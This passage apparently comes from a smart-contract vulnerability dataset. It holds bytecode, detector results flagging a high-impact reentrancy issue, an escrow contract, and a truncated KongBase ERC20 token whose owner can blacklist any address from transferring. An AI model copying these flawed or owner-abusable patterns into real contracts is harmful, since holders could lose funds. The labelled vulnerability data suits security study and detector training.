d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b553fcc4b4e20e7f3be4b74940eac343f27cbd4b9b43b9525161d4b70f9939064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,909 |
0x1ce865c81e76aafd2003e69acd2d196d19aac144 | pragma solidity 0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @dev Right now, the Biddable application is responsible for being the arbitrator to all escrows.
/// This means, the Biddable application has to enforce boundaries such that auction houses can
/// only release escrows for users on their platform. This is done via the shared secret that is
/// provisioned for each platform that onboards with the service.
contract BiddableEscrow is CanReclaimToken {
using SafeMath for uint256;
// Mapping of escrows. Key is a UUID generated by Biddable
mapping (string => EscrowDeposit) private escrows;
// The arbitrator that is responsible for releasing escrow.
// At this time this is the Biddable service.
// This should be separate key than the one used for the creation of the contract.
address public arbitrator;
// Gas fees that have accumulated in this contract to reimburse the arbitrator
// for paying fees for releasing escrow. These are stored locally to avoid having to
// pay additional gas costs for transfer during each release.
uint256 public accumulatedGasFees;
struct EscrowDeposit {
// Used to avoid collisions
bool exists;
// Address of the bidder
address bidder;
// Encrypted data of the escrow
// This is the ownership data of the escrow in the context of the auction house platform
// It holds the platformId, auctionId, and the userId on the platform
bytes data;
// The amount in the escrow
uint256 amount;
}
modifier onlyArbitrator() {
require(msg.sender == arbitrator);
_;
}
/// @dev Constructor for the smart contract
/// @param _arbitrator Address for an arbitrator that is responsible for signing the transaction data
function BiddableEscrow(address _arbitrator) public {
arbitrator = _arbitrator;
accumulatedGasFees = 0;
}
/// @notice Sets a new arbitrator. Only callable by the owner
/// @param _newArbitrator Address for the new arbitrator
function setArbitrator(address _newArbitrator) external onlyOwner {
arbitrator = _newArbitrator;
}
/// @dev This event is emitted when funds have been deposited into a new escrow.
/// The data is an encrypted blob that contains the user's userId so that the
/// Biddable service can tell the calling platform which user to approve for bidding.
event Created(address indexed sender, string id, bytes data);
/// @notice Deposit ether into escrow. The data must be signed by the Biddable service.
/// @dev We don't use an 'onlyArbitrator' modifier because the transaction itself is sent by the bidder,
/// but the data must be signed by the Biddable service. Thus, the function must be available to call
/// by anyone.
/// @param _id Is the unique identifier of the escrow
/// @param _depositAmount The deposit required to be in escrow for approval
/// @param _data The encrypted deposit data
/// @param _v Recovery number
/// @param _r First part of the signature
/// @param _s Second part of the signature
function deposit(
string _id,
uint256 _depositAmount,
bytes _data,
uint8 _v,
bytes32 _r,
bytes32 _s)
external payable
{
// Throw if the amount sent doesn't mean the deposit amount
require(msg.value == _depositAmount);
// Throw if a deposit with this id already exists
require(!escrows[_id].exists);
bytes32 hash = keccak256(_id, _depositAmount, _data);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
address recoveredAddress = ecrecover(
keccak256(prefix, hash),
_v,
_r,
_s
);
// Throw if the signature wasn't created by the arbitrator
require(recoveredAddress == arbitrator);
escrows[_id] = EscrowDeposit(
true,
msg.sender,
_data,
msg.value);
emit Created(msg.sender, _id, _data);
}
uint256 public constant RELEASE_GAS_FEES = 45989;
/// @dev This event is emitted when funds have been released from escrow at which time
/// the escrow will be removed from storage (i.e., destroyed).
event Released(address indexed sender, address indexed bidder, uint256 value, string id);
/// @notice Release ether from escrow. Only the arbitrator is able to perform this action.
/// @param _id Is the unique identifier of the escrow
function release(string _id) external onlyArbitrator {
// Throw if this deposit doesn't exist
require(escrows[_id].exists);
EscrowDeposit storage escrowDeposit = escrows[_id];
// Shouldn't need to use SafeMath here because this should never cause an overflow
uint256 gasFees = RELEASE_GAS_FEES.mul(tx.gasprice);
uint256 amount = escrowDeposit.amount.sub(gasFees);
address bidder = escrowDeposit.bidder;
// Remove the deposit from storage
delete escrows[_id];
accumulatedGasFees = accumulatedGasFees.add(gasFees);
bidder.transfer(amount);
emit Released(
msg.sender,
bidder,
amount,
_id);
}
/// @notice Withdraw accumulated gas fees from the arbitratror releasing escrow.
/// Only callable by the owner
function withdrawAccumulatedFees(address _to) external onlyOwner {
uint256 transferAmount = accumulatedGasFees;
accumulatedGasFees = 0;
_to.transfer(transferAmount);
}
/// @dev This accessor method is needed because the compiler is not able to create one with a string mapping
/// @notice Gets the EscrowDeposit based on the input id. Throws if the deposit doesn't exist.
/// @param _id The unique identifier of the escrow
function getEscrowDeposit(string _id) external view returns (address bidder, bytes data, uint256 amount) {
// Throw if this deposit doesn't exist
require(escrows[_id].exists);
EscrowDeposit storage escrowDeposit = escrows[_id];
bidder = escrowDeposit.bidder;
data = escrowDeposit.data;
amount = escrowDeposit.amount;
}
} | 0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806317ffc320146100b4578063180eebba146100ed57806340b00033146101165780636cc6cde11461017c5780638da5cb5b146101d1578063b0eefabe14610226578063c1f106631461025f578063c5ecfc6114610298578063f2fde38b14610379578063f34e3723146103b2578063f96f143e146103e0575b600080fd5b34156100bf57600080fd5b6100eb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610409565b005b34156100f857600080fd5b610100610569565b6040518082815260200191505060405180910390f35b61017a60048080359060200190820180359060200191909192908035906020019091908035906020019082018035906020019190919290803560ff16906020019091908035600019169060200190919080356000191690602001909190505061056f565b005b341561018757600080fd5b61018f61093d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101dc57600080fd5b6101e4610963565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561023157600080fd5b61025d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610988565b005b341561026a57600080fd5b610296600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a27565b005b34156102a357600080fd5b6102c460048080359060200190820180359060200191909192905050610ad5565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561033c578082015181840152602081019050610321565b50505050905090810190601f1680156103695780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b341561038457600080fd5b6103b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c1f565b005b34156103bd57600080fd5b6103de60048080359060200190820180359060200191909192905050610d74565b005b34156103eb57600080fd5b6103f3610ffa565b6040518082815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561046657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561050057600080fd5b5af1151561050d57600080fd5b5050506040518051905090506105656000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166110009092919063ffffffff16565b5050565b60035481565b6000610579611138565b6000883414151561058957600080fd5b60018b8b60405180838380828437820191505092505050908152602001604051809103902060000160009054906101000a900460ff161515156105cb57600080fd5b8a8a8a8a8a604051808686808284378201915050848152602001838380828437820191505095505050505050604051809103902092506040805190810160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152509150600182846040518083805190602001908083835b602083101515610672578051825260208201915060208101905060208303925061064d565b6001836020036101000a0380198251168184511680821785525050505050509050018260001916600019168152602001925050506040518091039020878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1151561071c57600080fd5b5050602060405103519050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561078357600080fd5b6080604051908101604052806001151581526020013373ffffffffffffffffffffffffffffffffffffffff16815260200189898080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505081526020013481525060018c8c60405180838380828437820191505092505050908152602001604051809103902060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600101908051906020019061089892919061114c565b50606082015181600201559050503373ffffffffffffffffffffffffffffffffffffffff167f932c935c3c9913ab1e795c885cfe0b18652738083fd94d8fdea1844950a5227c8c8c8b8b6040518080602001806020018381038352878782818152602001925080828437820191505083810382528585828181526020019250808284378201915050965050505050505060405180910390a25050505050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e357600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8457600080fd5b600354905060006003819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ad157600080fd5b5050565b6000610adf611138565b6000806001868660405180838380828437820191505092505050908152602001604051809103902060000160009054906101000a900460ff161515610b2357600080fd5b6001868660405180838380828437820191505092505050908152602001604051809103902090508060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c095780601f10610bde57610100808354040283529160200191610c09565b820191906000526020600020905b815481529060010190602001808311610bec57829003601f168201915b5050505050925080600201549150509250925092565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610cb657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd657600080fd5b6001868660405180838380828437820191505092505050908152602001604051809103902060000160009054906101000a900460ff161515610e1757600080fd5b600186866040518083838082843782019150509250505090815260200160405180910390209350610e533a61b3a56110c690919063ffffffff16565b9250610e6c83856002015461110190919063ffffffff16565b91508360000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060018686604051808383808284378201915050925050509081526020016040518091039020600080820160006101000a81549060ff02191690556000820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000610f0691906111cc565b60028201600090555050610f258360035461111a90919063ffffffff16565b6003819055508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610f6b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167faded40980191268694a17a28cd3524dd9cedf6b82232ceb1af14363776500a5684898960405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a3505050505050565b61b3a581565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156110a257600080fd5b5af115156110af57600080fd5b5050506040518051905015156110c157fe5b505050565b60008060008414156110db57600091506110fa565b82840290508284828115156110ec57fe5b041415156110f657fe5b8091505b5092915050565b600082821115151561110f57fe5b818303905092915050565b600080828401905083811015151561112e57fe5b8091505092915050565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061118d57805160ff19168380011785556111bb565b828001600101855582156111bb579182015b828111156111ba57825182559160200191906001019061119f565b5b5090506111c89190611214565b5090565b50805460018160011615610100020316600290046000825580601f106111f25750611211565b601f0160209004906000526020600020908101906112109190611214565b5b50565b61123691905b8082111561123257600081600090555060010161121a565b5090565b905600a165627a7a72305820dc9dd92b07e20e987f730a627dff871b8a6bb140b93b24043c0ffb1081c28cf00029 | {"success": true, "error": null, "results": {}} | 9,910 |
0x455fc5cf5f478a94a5dce54715774b2d563018de | /**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/*
Kongbase Capital is a community-driven token that aims to bring generational wealth for it's holders.
Powered by a unique investment treasury and a turbo-charged tokenomic system,
Kongbase Capital is strategically designed to incentivize holders with token buybacks, holder giveaways.
Kongbase Capital will run in a DAO model to provide the decentralized investment services.
We see a lot of potential projects in the market but there are still lots of honeypot and high risk projects.
Therefore, we would like to provide decentralized investment advice to protect and grow your digital assets.
Token holders will be allowed to vote and choose which project to invest in.
Let’s create a brighter future for the cryptocurrency world.
https://t.me/kongbase
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KongBase is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "KongBase";
string private constant _symbol = "KongBase";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x4c504d932528E5E30aADB64fa0B268c6562c248E);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
